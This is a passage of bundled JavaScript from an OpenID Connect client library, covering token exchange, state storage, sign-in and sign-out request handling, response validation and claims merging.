}\n getTokenEndpoint(optional = true) {\n return this._getMetadataProperty(\"token_endpoint\", optional);\n }\n getCheckSessionIframe() {\n return this._getMetadataProperty(\"check_session_iframe\", true);\n }\n getEndSessionEndpoint() {\n return this._getMetadataProperty(\"end_session_endpoint\", true);\n }\n getRevocationEndpoint(optional = true) {\n return this._getMetadataProperty(\"revocation_endpoint\", optional);\n }\n getKeysEndpoint(optional = true) {\n return this._getMetadataProperty(\"jwks_uri\", optional);\n }\n async _getMetadataProperty(name, optional = false) {\n const logger2 = this._logger.create(`_getMetadataProperty('${name}')`);\n const metadata = await this.getMetadata();\n logger2.debug(\"resolved\");\n if (metadata[name] === void 0) {\n if (optional === true) {\n logger2.warn(\"Metadata does not contain optional property\");\n return void 0;\n }\n logger2.throw(new Error(\"Metadata does not contain property \" + name));\n }\n return metadata[name];\n }\n async getSigningKeys() {\n const logger2 = this._logger.create(\"getSigningKeys\");\n if (this._signingKeys) {\n logger2.debug(\"returning signingKeys from cache\");\n return this._signingKeys;\n }\n const jwks_uri = await this.getKeysEndpoint(false);\n logger2.debug(\"got jwks_uri\", jwks_uri);\n const keySet = await this._jsonService.getJson(jwks_uri, { timeoutInSeconds: this._settings.requestTimeoutInSeconds });\n logger2.debug(\"got key set\", keySet);\n if (!Array.isArray(keySet.keys)) {\n logger2.throw(new Error(\"Missing keys on keyset\"));\n throw null;\n }\n this._signingKeys = keySet.keys;\n return this._signingKeys;\n }\n};\n\n// src/WebStorageStateStore.ts\nvar WebStorageStateStore = class {\n constructor({\n prefix = \"oidc.\",\n store = localStorage\n } = {}) {\n this._logger = new Logger(\"WebStorageStateStore\");\n this._store = store;\n this._prefix = prefix;\n }\n async set(key, value) {\n this._logger.create(`set('${key}')`);\n key = this._prefix + key;\n await this._store.setItem(key, value);\n }\n async get(key) {\n this._logger.create(`get('${key}')`);\n key = this._prefix + key;\n const item = await this._store.getItem(key);\n return item;\n }\n async remove(key) {\n this._logger.create(`remove('${key}')`);\n key = this._prefix + key;\n const item = await this._store.getItem(key);\n await this._store.removeItem(key);\n return item;\n }\n async getAllKeys() {\n this._logger.create(\"getAllKeys\");\n const len = await this._store.length;\n const keys = [];\n for (let index = 0; index < len; index++) {\n const key = await this._store.key(index);\n if (key && key.indexOf(this._prefix) === 0) {\n keys.push(key.substr(this._prefix.length));\n }\n }\n return keys;\n }\n};\n\n// src/OidcClientSettings.ts\nvar DefaultResponseType = \"code\";\nvar DefaultScope = \"openid\";\nvar DefaultClientAuthentication = \"client_secret_post\";\nvar DefaultStaleStateAgeInSeconds = 60 * 15;\nvar OidcClientSettingsStore = class {\n constructor({\n // metadata related\n authority,\n metadataUrl,\n metadata,\n signingKeys,\n metadataSeed,\n // client related\n client_id,\n client_secret,\n response_type = DefaultResponseType,\n scope = DefaultScope,\n redirect_uri,\n post_logout_redirect_uri,\n client_authentication = DefaultClientAuthentication,\n // optional protocol\n prompt,\n display,\n max_age,\n ui_locales,\n acr_values,\n resource,\n response_mode,\n // behavior flags\n filterProtocolClaims = true,\n loadUserInfo = false,\n requestTimeoutInSeconds,\n staleStateAgeInSeconds = DefaultStaleStateAgeInSeconds,\n mergeClaimsStrategy = { array: \"replace\" },\n disablePKCE = false,\n // other behavior\n stateStore,\n revokeTokenAdditionalContentTypes,\n fetchRequestCredentials,\n refreshTokenAllowedScope,\n // extra\n extraQueryParams = {},\n extraTokenParams = {},\n extraHeaders = {},\n dpop,\n omitScopeWhenRequesting = false\n }) {\n var _a;\n this.authority = authority;\n if (metadataUrl) {\n this.metadataUrl = metadataUrl;\n } else {\n this.metadataUrl = authority;\n if (authority) {\n if (!this.metadataUrl.endsWith(\"/\")) {\n this.metadataUrl += \"/\";\n }\n this.metadataUrl += \".well-known/openid-configuration\";\n }\n }\n this.metadata = metadata;\n this.metadataSeed = metadataSeed;\n this.signingKeys = signingKeys;\n this.client_id = client_id;\n this.client_secret = client_secret;\n this.response_type = response_type;\n this.scope = scope;\n this.redirect_uri = redirect_uri;\n this.post_logout_redirect_uri = post_logout_redirect_uri;\n this.client_authentication = client_authentication;\n this.prompt = prompt;\n this.display = display;\n this.max_age = max_age;\n this.ui_locales = ui_locales;\n this.acr_values = acr_values;\n this.resource = resource;\n this.response_mode = response_mode;\n this.filterProtocolClaims = filterProtocolClaims != null ? filterProtocolClaims : true;\n this.loadUserInfo = !!loadUserInfo;\n this.staleStateAgeInSeconds = staleStateAgeInSeconds;\n this.mergeClaimsStrategy = mergeClaimsStrategy;\n this.omitScopeWhenRequesting = omitScopeWhenRequesting;\n this.disablePKCE = !!disablePKCE;\n this.revokeTokenAdditionalContentTypes = revokeTokenAdditionalContentTypes;\n this.fetchRequestCredentials = fetchRequestCredentials ? fetchRequestCredentials : \"same-origin\";\n this.requestTimeoutInSeconds = requestTimeoutInSeconds;\n if (stateStore) {\n this.stateStore = stateStore;\n } else {\n const store = typeof window !== \"undefined\" ? window.localStorage : new InMemoryWebStorage();\n this.stateStore = new WebStorageStateStore({ store });\n }\n this.refreshTokenAllowedScope = refreshTokenAllowedScope;\n this.extraQueryParams = extraQueryParams;\n this.extraTokenParams = extraTokenParams;\n this.extraHeaders = extraHeaders;\n this.dpop = dpop;\n if (this.dpop && !((_a = this.dpop) == null ? void 0 : _a.store)) {\n throw new Error(\"A DPoPStore is required when dpop is enabled\");\n }\n }\n};\n\n// src/UserInfoService.ts\nvar UserInfoService = class {\n constructor(_settings, _metadataService) {\n this._settings = _settings;\n this._metadataService = _metadataService;\n this._logger = new Logger(\"UserInfoService\");\n this._getClaimsFromJwt = async (responseText) => {\n const logger2 = this._logger.create(\"_getClaimsFromJwt\");\n try {\n const payload = JwtUtils.decode(responseText);\n logger2.debug(\"JWT decoding successful\");\n return payload;\n } catch (err) {\n logger2.error(\"Error parsing JWT response\");\n throw err;\n }\n };\n this._jsonService = new JsonService(\n void 0,\n this._getClaimsFromJwt,\n this._settings.extraHeaders\n );\n }\n async getClaims(token) {\n const logger2 = this._logger.create(\"getClaims\");\n if (!token) {\n this._logger.throw(new Error(\"No token passed\"));\n }\n const url = await this._metadataService.getUserInfoEndpoint();\n logger2.debug(\"got userinfo url\", url);\n const claims = await this._jsonService.getJson(url, {\n token,\n credentials: this._settings.fetchRequestCredentials,\n timeoutInSeconds: this._settings.requestTimeoutInSeconds\n });\n logger2.debug(\"got claims\", claims);\n return claims;\n }\n};\n\n// src/TokenClient.ts\nvar TokenClient = class {\n constructor(_settings, _metadataService) {\n this._settings = _settings;\n this._metadataService = _metadataService;\n this._logger = new Logger(\"TokenClient\");\n this._jsonService = new JsonService(\n this._settings.revokeTokenAdditionalContentTypes,\n null,\n this._settings.extraHeaders\n );\n }\n /**\n * Exchange code.\n *\n * @see https://www.rfc-editor.org/rfc/rfc6749#section-4.1.3\n */\n async exchangeCode({\n grant_type = \"authorization_code\",\n redirect_uri = this._settings.redirect_uri,\n client_id = this._settings.client_id,\n client_secret = this._settings.client_secret,\n extraHeaders,\n ...args\n }) {\n const logger2 = this._logger.create(\"exchangeCode\");\n if (!client_id) {\n logger2.throw(new Error(\"A client_id is required\"));\n }\n if (!redirect_uri) {\n logger2.throw(new Error(\"A redirect_uri is required\"));\n }\n if (!args.code) {\n logger2.throw(new Error(\"A code is required\"));\n }\n const params = new URLSearchParams({ grant_type, redirect_uri });\n for (const [key, value] of Object.entries(args)) {\n if (value != null) {\n params.set(key, value);\n }\n }\n let basicAuth;\n switch (this._settings.client_authentication) {\n case \"client_secret_basic\":\n if (client_secret === void 0 || client_secret === null) {\n logger2.throw(new Error(\"A client_secret is required\"));\n throw null;\n }\n basicAuth = CryptoUtils.generateBasicAuth(client_id, client_secret);\n break;\n case \"client_secret_post\":\n params.append(\"client_id\", client_id);\n if (client_secret) {\n params.append(\"client_secret\", client_secret);\n }\n break;\n }\n const url = await this._metadataService.getTokenEndpoint(false);\n logger2.debug(\"got token endpoint\");\n const response = await this._jsonService.postForm(url, {\n body: params,\n basicAuth,\n timeoutInSeconds: this._settings.requestTimeoutInSeconds,\n initCredentials: this._settings.fetchRequestCredentials,\n extraHeaders\n });\n logger2.debug(\"got response\");\n return response;\n }\n /**\n * Exchange credentials.\n *\n * @see https://www.rfc-editor.org/rfc/rfc6749#section-4.3.2\n */\n async exchangeCredentials({\n grant_type = \"password\",\n client_id = this._settings.client_id,\n client_secret = this._settings.client_secret,\n scope = this._settings.scope,\n ...args\n }) {\n const logger2 = this._logger.create(\"exchangeCredentials\");\n if (!client_id) {\n logger2.throw(new Error(\"A client_id is required\"));\n }\n const params = new URLSearchParams({ grant_type });\n if (!this._settings.omitScopeWhenRequesting) {\n params.set(\"scope\", scope);\n }\n for (const [key, value] of Object.entries(args)) {\n if (value != null) {\n params.set(key, value);\n }\n }\n let basicAuth;\n switch (this._settings.client_authentication) {\n case \"client_secret_basic\":\n if (client_secret === void 0 || client_secret === null) {\n logger2.throw(new Error(\"A client_secret is required\"));\n throw null;\n }\n basicAuth = CryptoUtils.generateBasicAuth(client_id, client_secret);\n break;\n case \"client_secret_post\":\n params.append(\"client_id\", client_id);\n if (client_secret) {\n params.append(\"client_secret\", client_secret);\n }\n break;\n }\n const url = await this._metadataService.getTokenEndpoint(false);\n logger2.debug(\"got token endpoint\");\n const response = await this._jsonService.postForm(url, { body: params, basicAuth, timeoutInSeconds: this._settings.requestTimeoutInSeconds, initCredentials: this._settings.fetchRequestCredentials });\n logger2.debug(\"got response\");\n return response;\n }\n /**\n * Exchange a refresh token.\n *\n * @see https://www.rfc-editor.org/rfc/rfc6749#section-6\n */\n async exchangeRefreshToken({\n grant_type = \"refresh_token\",\n client_id = this._settings.client_id,\n client_secret = this._settings.client_secret,\n timeoutInSeconds,\n extraHeaders,\n ...args\n }) {\n const logger2 = this._logger.create(\"exchangeRefreshToken\");\n if (!client_id) {\n logger2.throw(new Error(\"A client_id is required\"));\n }\n if (!args.refresh_token) {\n logger2.throw(new Error(\"A refresh_token is required\"));\n }\n const params = new URLSearchParams({ grant_type });\n for (const [key, value] of Object.entries(args)) {\n if (Array.isArray(value)) {\n value.forEach((param) => params.append(key, param));\n } else if (value != null) {\n params.set(key, value);\n }\n }\n let basicAuth;\n switch (this._settings.client_authentication) {\n case \"client_secret_basic\":\n if (client_secret === void 0 || client_secret === null) {\n logger2.throw(new Error(\"A client_secret is required\"));\n throw null;\n }\n basicAuth = CryptoUtils.generateBasicAuth(client_id, client_secret);\n break;\n case \"client_secret_post\":\n params.append(\"client_id\", client_id);\n if (client_secret) {\n params.append(\"client_secret\", client_secret);\n }\n break;\n }\n const url = await this._metadataService.getTokenEndpoint(false);\n logger2.debug(\"got token endpoint\");\n const response = await this._jsonService.postForm(url, { body: params, basicAuth, timeoutInSeconds, initCredentials: this._settings.fetchRequestCredentials, extraHeaders });\n logger2.debug(\"got response\");\n return response;\n }\n /**\n * Revoke an access or refresh token.\n *\n * @see https://datatracker.ietf.org/doc/html/rfc7009#section-2.1\n */\n async revoke(args) {\n var _a;\n const logger2 = this._logger.create(\"revoke\");\n if (!args.token) {\n logger2.throw(new Error(\"A token is required\"));\n }\n const url = await this._metadataService.getRevocationEndpoint(false);\n logger2.debug(`got revocation endpoint, revoking ${(_a = args.token_type_hint) != null ? _a : \"default token type\"}`);\n const params = new URLSearchParams();\n for (const [key, value] of Object.entries(args)) {\n if (value != null) {\n params.set(key, value);\n }\n }\n params.set(\"client_id\", this._settings.client_id);\n if (this._settings.client_secret) {\n params.set(\"client_secret\", this._settings.client_secret);\n }\n await this._jsonService.postForm(url, { body: params, timeoutInSeconds: this._settings.requestTimeoutInSeconds });\n logger2.debug(\"got response\");\n }\n};\n\n// src/ResponseValidator.ts\nvar ResponseValidator = class {\n constructor(_settings, _metadataService, _claimsService) {\n this._settings = _settings;\n this._metadataService = _metadataService;\n this._claimsService = _claimsService;\n this._logger = new Logger(\"ResponseValidator\");\n this._userInfoService = new UserInfoService(this._settings, this._metadataService);\n this._tokenClient = new TokenClient(this._settings, this._metadataService);\n }\n async validateSigninResponse(response, state, extraHeaders) {\n const logger2 = this._logger.create(\"validateSigninResponse\");\n this._processSigninState(response, state);\n logger2.debug(\"state processed\");\n await this._processCode(response, state, extraHeaders);\n logger2.debug(\"code processed\");\n if (response.isOpenId) {\n this._validateIdTokenAttributes(response);\n }\n logger2.debug(\"tokens validated\");\n await this._processClaims(response, state == null ? void 0 : state.skipUserInfo, response.isOpenId);\n logger2.debug(\"claims processed\");\n }\n async validateCredentialsResponse(response, skipUserInfo) {\n const logger2 = this._logger.create(\"validateCredentialsResponse\");\n const shouldValidateSubClaim = response.isOpenId && !!response.id_token;\n if (shouldValidateSubClaim) {\n this._validateIdTokenAttributes(response);\n }\n logger2.debug(\"tokens validated\");\n await this._processClaims(response, skipUserInfo, shouldValidateSubClaim);\n logger2.debug(\"claims processed\");\n }\n async validateRefreshResponse(response, state) {\n var _a, _b;\n const logger2 = this._logger.create(\"validateRefreshResponse\");\n response.userState = state.data;\n (_a = response.session_state) != null ? _a : response.session_state = state.session_state;\n (_b = response.scope) != null ? _b : response.scope = state.scope;\n if (response.isOpenId && !!response.id_token) {\n this._validateIdTokenAttributes(response, state.id_token);\n logger2.debug(\"ID Token validated\");\n }\n if (!response.id_token) {\n response.id_token = state.id_token;\n response.profile = state.profile;\n }\n const hasIdToken = response.isOpenId && !!response.id_token;\n await this._processClaims(response, false, hasIdToken);\n logger2.debug(\"claims processed\");\n }\n validateSignoutResponse(response, state) {\n const logger2 = this._logger.create(\"validateSignoutResponse\");\n if (state.id !== response.state) {\n logger2.throw(new Error(\"State does not match\"));\n }\n logger2.debug(\"state validated\");\n response.userState = state.data;\n if (response.error) {\n logger2.warn(\"Response was error\", response.error);\n throw new ErrorResponse(response);\n }\n }\n _processSigninState(response, state) {\n var _a;\n const logger2 = this._logger.create(\"_processSigninState\");\n if (state.id !== response.state) {\n logger2.throw(new Error(\"State does not match\"));\n }\n if (!state.client_id) {\n logger2.throw(new Error(\"No client_id on state\"));\n }\n if (!state.authority) {\n logger2.throw(new Error(\"No authority on state\"));\n }\n if (this._settings.authority !== state.authority) {\n logger2.throw(new Error(\"authority mismatch on settings vs. signin state\"));\n }\n if (this._settings.client_id && this._settings.client_id !== state.client_id) {\n logger2.throw(new Error(\"client_id mismatch on settings vs. signin state\"));\n }\n logger2.debug(\"state validated\");\n response.userState = state.data;\n response.url_state = state.url_state;\n (_a = response.scope) != null ? _a : response.scope = state.scope;\n if (response.error) {\n logger2.warn(\"Response was error\", response.error);\n throw new ErrorResponse(response);\n }\n if (state.code_verifier && !response.code) {\n logger2.throw(new Error(\"Expected code in response\"));\n }\n }\n async _processClaims(response, skipUserInfo = false, validateSub = true) {\n const logger2 = this._logger.create(\"_processClaims\");\n response.profile = this._claimsService.filterProtocolClaims(response.profile);\n if (skipUserInfo || !this._settings.loadUserInfo || !response.access_token) {\n logger2.debug(\"not loading user info\");\n return;\n }\n logger2.debug(\"loading user info\");\n const claims = await this._userInfoService.getClaims(response.access_token);\n logger2.debug(\"user info claims received from user info endpoint\");\n if (validateSub && claims.sub !== response.profile.sub) {\n logger2.throw(new Error(\"subject from UserInfo response does not match subject in ID Token\"));\n }\n response.profile = this._claimsService.mergeClaims(response.profile, this._claimsService.filterProtocolClaims(claims));\n logger2.debug(\"user info claims received, updated profile:\", response.profile);\n }\n async _processCode(response, state, extraHeaders) {\n const logger2 = this._logger.create(\"_processCode\");\n if (response.code) {\n logger2.debug(\"Validating code\");\n const tokenResponse = await this._tokenClient.exchangeCode({\n client_id: state.client_id,\n client_secret: state.client_secret,\n code: response.code,\n redirect_uri: state.redirect_uri,\n code_verifier: state.code_verifier,\n extraHeaders,\n ...state.extraTokenParams\n });\n Object.assign(response, tokenResponse);\n } else {\n logger2.debug(\"No code to process\");\n }\n }\n _validateIdTokenAttributes(response, existingToken) {\n var _a;\n const logger2 = this._logger.create(\"_validateIdTokenAttributes\");\n logger2.debug(\"decoding ID Token JWT\");\n const incoming = JwtUtils.decode((_a = response.id_token) != null ? _a : \"\");\n if (!incoming.sub) {\n logger2.throw(new Error(\"ID Token is missing a subject claim\"));\n }\n if (existingToken) {\n const existing = JwtUtils.decode(existingToken);\n if (incoming.sub !== existing.sub) {\n logger2.throw(new Error(\"sub in id_token does not match current sub\"));\n }\n if (incoming.auth_time && incoming.auth_time !== existing.auth_time) {\n logger2.throw(new Error(\"auth_time in id_token does not match original auth_time\"));\n }\n if (incoming.azp && incoming.azp !== existing.azp) {\n logger2.throw(new Error(\"azp in id_token does not match original azp\"));\n }\n if (!incoming.azp && existing.azp) {\n logger2.throw(new Error(\"azp not in id_token, but present in original id_token\"));\n }\n }\n response.profile = incoming;\n }\n};\n\n// src/State.ts\nvar State = class _State {\n constructor(args) {\n this.id = args.id || CryptoUtils.generateUUIDv4();\n this.data = args.data;\n if (args.created && args.created > 0) {\n this.created = args.created;\n } else {\n this.created = Timer.getEpochTime();\n }\n this.request_type = args.request_type;\n this.url_state = args.url_state;\n }\n toStorageString() {\n new Logger(\"State\").create(\"toStorageString\");\n return JSON.stringify({\n id: this.id,\n data: this.data,\n created: this.created,\n request_type: this.request_type,\n url_state: this.url_state\n });\n }\n static fromStorageString(storageString) {\n Logger.createStatic(\"State\", \"fromStorageString\");\n return Promise.resolve(new _State(JSON.parse(storageString)));\n }\n static async clearStaleState(storage, age) {\n const logger2 = Logger.createStatic(\"State\", \"clearStaleState\");\n const cutoff = Timer.getEpochTime() - age;\n const keys = await storage.getAllKeys();\n logger2.debug(\"got keys\", keys);\n for (let i = 0; i < keys.length; i++) {\n const key = keys[i];\n const item = await storage.get(key);\n let remove = false;\n if (item) {\n try {\n const state = await _State.fromStorageString(item);\n logger2.debug(\"got item from key:\", key, state.created);\n if (state.created <= cutoff) {\n remove = true;\n }\n } catch (err) {\n logger2.error(\"Error parsing state for key:\", key, err);\n remove = true;\n }\n } else {\n logger2.debug(\"no item in storage for key:\", key);\n remove = true;\n }\n if (remove) {\n logger2.debug(\"removed item for key:\", key);\n void storage.remove(key);\n }\n }\n }\n};\n\n// src/SigninState.ts\nvar SigninState = class _SigninState extends State {\n constructor(args) {\n super(args);\n this.code_verifier = args.code_verifier;\n this.code_challenge = args.code_challenge;\n this.authority = args.authority;\n this.client_id = args.client_id;\n this.redirect_uri = args.redirect_uri;\n this.scope = args.scope;\n this.client_secret = args.client_secret;\n this.extraTokenParams = args.extraTokenParams;\n this.response_mode = args.response_mode;\n this.skipUserInfo = args.skipUserInfo;\n }\n static async create(args) {\n const code_verifier = args.code_verifier === true ? CryptoUtils.generateCodeVerifier() : args.code_verifier || void 0;\n const code_challenge = code_verifier ? await CryptoUtils.generateCodeChallenge(code_verifier) : void 0;\n return new _SigninState({\n ...args,\n code_verifier,\n code_challenge\n });\n }\n toStorageString() {\n new Logger(\"SigninState\").create(\"toStorageString\");\n return JSON.stringify({\n id: this.id,\n data: this.data,\n created: this.created,\n request_type: this.request_type,\n url_state: this.url_state,\n code_verifier: this.code_verifier,\n authority: this.authority,\n client_id: this.client_id,\n redirect_uri: this.redirect_uri,\n scope: this.scope,\n client_secret: this.client_secret,\n extraTokenParams: this.extraTokenParams,\n response_mode: this.response_mode,\n skipUserInfo: this.skipUserInfo\n });\n }\n static fromStorageString(storageString) {\n Logger.createStatic(\"SigninState\", \"fromStorageString\");\n const data = JSON.parse(storageString);\n return _SigninState.create(data);\n }\n};\n\n// src/SigninRequest.ts\nvar _SigninRequest = class _SigninRequest {\n constructor(args) {\n this.url = args.url;\n this.state = args.state;\n }\n static async create({\n // mandatory\n url,\n authority,\n client_id,\n redirect_uri,\n response_type,\n scope,\n // optional\n state_data,\n response_mode,\n request_type,\n client_secret,\n nonce,\n url_state,\n resource,\n skipUserInfo,\n extraQueryParams,\n extraTokenParams,\n disablePKCE,\n dpopJkt,\n omitScopeWhenRequesting,\n ...optionalParams\n }) {\n if (!url) {\n this._logger.error(\"create: No url passed\");\n throw new Error(\"url\");\n }\n if (!client_id) {\n this._logger.error(\"create: No client_id passed\");\n throw new Error(\"client_id\");\n }\n if (!redirect_uri) {\n this._logger.error(\"create: No redirect_uri passed\");\n throw new Error(\"redirect_uri\");\n }\n if (!response_type) {\n this._logger.error(\"create: No response_type passed\");\n throw new Error(\"response_type\");\n }\n if (!scope) {\n this._logger.error(\"create: No scope passed\");\n throw new Error(\"scope\");\n }\n if (!authority) {\n this._logger.error(\"create: No authority passed\");\n throw new Error(\"authority\");\n }\n const state = await SigninState.create({\n data: state_data,\n request_type,\n url_state,\n code_verifier: !disablePKCE,\n client_id,\n authority,\n redirect_uri,\n response_mode,\n client_secret,\n scope,\n extraTokenParams,\n skipUserInfo\n });\n const parsedUrl = new URL(url);\n parsedUrl.searchParams.append(\"client_id\", client_id);\n parsedUrl.searchParams.append(\"redirect_uri\", redirect_uri);\n parsedUrl.searchParams.append(\"response_type\", response_type);\n if (!omitScopeWhenRequesting) {\n parsedUrl.searchParams.append(\"scope\", scope);\n }\n if (nonce) {\n parsedUrl.searchParams.append(\"nonce\", nonce);\n }\n if (dpopJkt) {\n parsedUrl.searchParams.append(\"dpop_jkt\", dpopJkt);\n }\n let stateParam = state.id;\n if (url_state) {\n stateParam = `${stateParam}${URL_STATE_DELIMITER}${url_state}`;\n }\n parsedUrl.searchParams.append(\"state\", stateParam);\n if (state.code_challenge) {\n parsedUrl.searchParams.append(\"code_challenge\", state.code_challenge);\n parsedUrl.searchParams.append(\"code_challenge_method\", \"S256\");\n }\n if (resource) {\n const resources = Array.isArray(resource) ? resource : [resource];\n resources.forEach((r) => parsedUrl.searchParams.append(\"resource\", r));\n }\n for (const [key, value] of Object.entries({ response_mode, ...optionalParams, ...extraQueryParams })) {\n if (value != null) {\n parsedUrl.searchParams.append(key, value.toString());\n }\n }\n return new _SigninRequest({\n url: parsedUrl.href,\n state\n });\n }\n};\n_SigninRequest._logger = new Logger(\"SigninRequest\");\nvar SigninRequest = _SigninRequest;\n\n// src/SigninResponse.ts\nvar OidcScope = \"openid\";\nvar SigninResponse = class {\n constructor(params) {\n /** @see {@link User.access_token} */\n this.access_token = \"\";\n /** @see {@link User.token_type} */\n this.token_type = \"\";\n /** @see {@link User.profile} */\n this.profile = {};\n this.state = params.get(\"state\");\n this.session_state = params.get(\"session_state\");\n if (this.state) {\n const splitState = decodeURIComponent(this.state).split(URL_STATE_DELIMITER);\n this.state = splitState[0];\n if (splitState.length > 1) {\n this.url_state = splitState.slice(1).join(URL_STATE_DELIMITER);\n }\n }\n this.error = params.get(\"error\");\n this.error_description = params.get(\"error_description\");\n this.error_uri = params.get(\"error_uri\");\n this.code = params.get(\"code\");\n }\n get expires_in() {\n if (this.expires_at === void 0) {\n return void 0;\n }\n return this.expires_at - Timer.getEpochTime();\n }\n set expires_in(value) {\n if (typeof value === \"string\") value = Number(value);\n if (value !== void 0 && value >= 0) {\n this.expires_at = Math.floor(value) + Timer.getEpochTime();\n }\n }\n get isOpenId() {\n var _a;\n return ((_a = this.scope) == null ? void 0 : _a.split(\" \").includes(OidcScope)) || !!this.id_token;\n }\n};\n\n// src/SignoutRequest.ts\nvar SignoutRequest = class {\n constructor({\n url,\n state_data,\n id_token_hint,\n post_logout_redirect_uri,\n extraQueryParams,\n request_type,\n client_id,\n url_state\n }) {\n this._logger = new Logger(\"SignoutRequest\");\n if (!url) {\n this._logger.error(\"ctor: No url passed\");\n throw new Error(\"url\");\n }\n const parsedUrl = new URL(url);\n if (id_token_hint) {\n parsedUrl.searchParams.append(\"id_token_hint\", id_token_hint);\n }\n if (client_id) {\n parsedUrl.searchParams.append(\"client_id\", client_id);\n }\n if (post_logout_redirect_uri) {\n parsedUrl.searchParams.append(\"post_logout_redirect_uri\", post_logout_redirect_uri);\n if (state_data || url_state) {\n this.state = new State({ data: state_data, request_type, url_state });\n let stateParam = this.state.id;\n if (url_state) {\n stateParam = `${stateParam}${URL_STATE_DELIMITER}${url_state}`;\n }\n parsedUrl.searchParams.append(\"state\", stateParam);\n }\n }\n for (const [key, value] of Object.entries({ ...extraQueryParams })) {\n if (value != null) {\n parsedUrl.searchParams.append(key, value.toString());\n }\n }\n this.url = parsedUrl.href;\n }\n};\n\n// src/SignoutResponse.ts\nvar SignoutResponse = class {\n constructor(params) {\n this.state = params.get(\"state\");\n if (this.state) {\n const splitState = decodeURIComponent(this.state).split(URL_STATE_DELIMITER);\n this.state = splitState[0];\n if (splitState.length > 1) {\n this.url_state = splitState.slice(1).join(URL_STATE_DELIMITER);\n }\n }\n this.error = params.get(\"error\");\n this.error_description = params.get(\"error_description\");\n this.error_uri = params.get(\"error_uri\");\n }\n};\n\n// src/ClaimsService.ts\nvar DefaultProtocolClaims = [\n \"nbf\",\n \"jti\",\n \"auth_time\",\n \"nonce\",\n \"acr\",\n \"amr\",\n \"azp\",\n \"at_hash\"\n // https://openid.net/specs/openid-connect-core-1_0.html#CodeIDToken\n];\nvar InternalRequiredProtocolClaims = [\"sub\", \"iss\", \"aud\", \"exp\", \"iat\"];\nvar ClaimsService = class {\n constructor(_settings) {\n this._settings = _settings;\n this._logger = new Logger(\"ClaimsService\");\n }\n filterProtocolClaims(claims) {\n const result = { ...claims };\n if (this._settings.filterProtocolClaims) {\n let protocolClaims;\n if (Array.isArray(this._settings.filterProtocolClaims)) {\n protocolClaims = this._settings.filterProtocolClaims;\n } else {\n protocolClaims = DefaultProtocolClaims;\n }\n for (const claim of protocolClaims) {\n if (!InternalRequiredProtocolClaims.includes(claim)) {\n delete result[claim];\n }\n }\n }\n return result;\n }\n mergeClaims(claims1, claims2) {\n const result = { ...claims1 };\n for (const [claim, values] of Object.entries(claims2)) {\n if (result[claim] !== values) {\n if (Array.isArray(result[claim]) || Array.isArray(values)) {\n if (this._settings.mergeClaimsStrategy.array == \"replace\") {\n result[claim] = values;\n } else {\n const mergedValues = Array.isArray(result[claim]) ? result[claim] : [result[claim]];\n for (const value of Array.isArray(values) ? values : [values]) {\n if (!mergedValues.includes(value)) {\n mergedValues.push(value);\n }\n }\n result[claim] = mergedValues;\n }\n } else if (typeof result[claim] === \"object\" && typeof values === \"object\") {\n result[claim] = this.mergeClaims(result[claim], values);\n } else {\n result[claim] = values;\n }\n }\n }\n return result;\n }\n};\n\n// src/DPoPStore.ts\nvar DPoPState = class {\n constructor(keys, nonce) {\n this.keys = keys;\n this.nonce = nonce;\n }\n};\n\n// src/OidcClient.ts\nvar OidcClient = class {\n constructor(settings, metadataService) {\n this._logger = new Logger(\"OidcClient\");\n this.settings = settings instanceof OidcClientSettingsStore ? settings : new OidcClientSettingsStore(settings);\n this.metadataService = metadataService != null ? metadataService : new MetadataService(this.settings);\n this._claimsService = new ClaimsService(this.settings);\n this._validator = new ResponseValidator(this.settings, this.metadataService, this._claimsService);\n this._tokenClient = new TokenClient(this.settings, this.metadataService);\n }\n async createSigninRequest({\n state,\n request,\n request_uri,\n request_type,\n id_token_hint,\n login_hint,\n skipUserInfo,\n nonce,\n url_state,\n response_type = this.settings.response_type,\n scope = this.settings.scope,\n redirect_uri = this.settings.redirect_uri,\n prompt = this.settings.prompt,\n display = this.settings.display,\n max_age = this.settings.max_age,\n ui_locales = this.settings.ui_locales,\n acr_values = this.settings.acr_values,\n resource = this.settings.resource,\n response_mode = this.settings.response_mode,\n extraQueryParams = this.settings.extraQueryParams,\n extraTokenParams = this.settings.extraTokenParams,\n dpopJkt,\n omitScopeWhenRequesting = this.settings.omitScopeWhenRequesting\n }) {\n const logger2 = this._logger.create(\"createSigninRequest\");\n if (response_type !== \"code\") {\n throw new Error(\"Only the Authorization Code flow (with PKCE) is supported\");\n }\n const url = await this.metadataService.getAuthorizationEndpoint();\n logger2.debug(\"Received authorization endpoint\", url);\n const signinRequest = await SigninRequest.create({\n url,\n authority: this.settings.authority,\n client_id: this.settings.client_id,\n redirect_uri,\n response_type,\n scope,\n state_data: state,\n url_state,\n prompt,\n display,\n max_age,\n ui_locales,\n id_token_hint,\n login_hint,\n acr_values,\n dpopJkt,\n resource,\n request,\n request_uri,\n extraQueryParams,\n extraTokenParams,\n request_type,\n response_mode,\n client_secret: this.settings.client_secret,\n skipUserInfo,\n nonce,\n disablePKCE: this.settings.disablePKCE,\n omitScopeWhenRequesting\n });\n await this.clearStaleState();\n const signinState = signinRequest.state;\n await this.settings.stateStore.set(signinState.id, signinState.toStorageString());\n return signinRequest;\n }\n async readSigninResponseState(url, removeState = false) {\n const logger2 = this._logger.create(\"readSigninResponseState\");\n const response = new SigninResponse(UrlUtils.readParams(url, this.settings.response_mode));\n if (!response.state) {\n logger2.throw(new Error(\"No state in response\"));\n throw null;\n }\n const storedStateString = await this.settings.stateStore[removeState ? \"remove\" : \"get\"](response.state);\n if (!storedStateString) {\n logger2.throw(new Error(\"No matching state found in storage\"));\n throw null;\n }\n const state = await SigninState.fromStorageString(storedStateString);\n return { state, response };\n }\n async processSigninResponse(url, extraHeaders, removeState = true) {\n const logger2 = this._logger.create(\"processSigninResponse\");\n const { state, response } = await this.readSigninResponseState(url, removeState);\n logger2.debug(\"received state from storage; validating response\");\n if (this.settings.dpop && this.settings.dpop.store) {\n const dpopProof = await this.getDpopProof(this.settings.dpop.store);\n extraHeaders = { ...extraHeaders, \"DPoP\": dpopProof };\n }\n try {\n await this._validator.validateSigninResponse(response, state, extraHeaders);\n } catch (err) {\n if (err instanceof ErrorDPoPNonce && this.settings.dpop) {\n const dpopProof = await this.getDpopProof(this.settings.dpop.store, err.nonce);\n extraHeaders[\"DPoP\"] = dpopProof;\n await this._validator.validateSigninResponse(response, state, extraHeaders);\n } else {\n throw err;\n }\n }\n return response;\n }\n async getDpopProof(dpopStore, nonce) {\n let keyPair;\n let dpopState;\n if (!(await dpopStore.getAllKeys()).includes(this.settings.client_id)) {\n keyPair = await 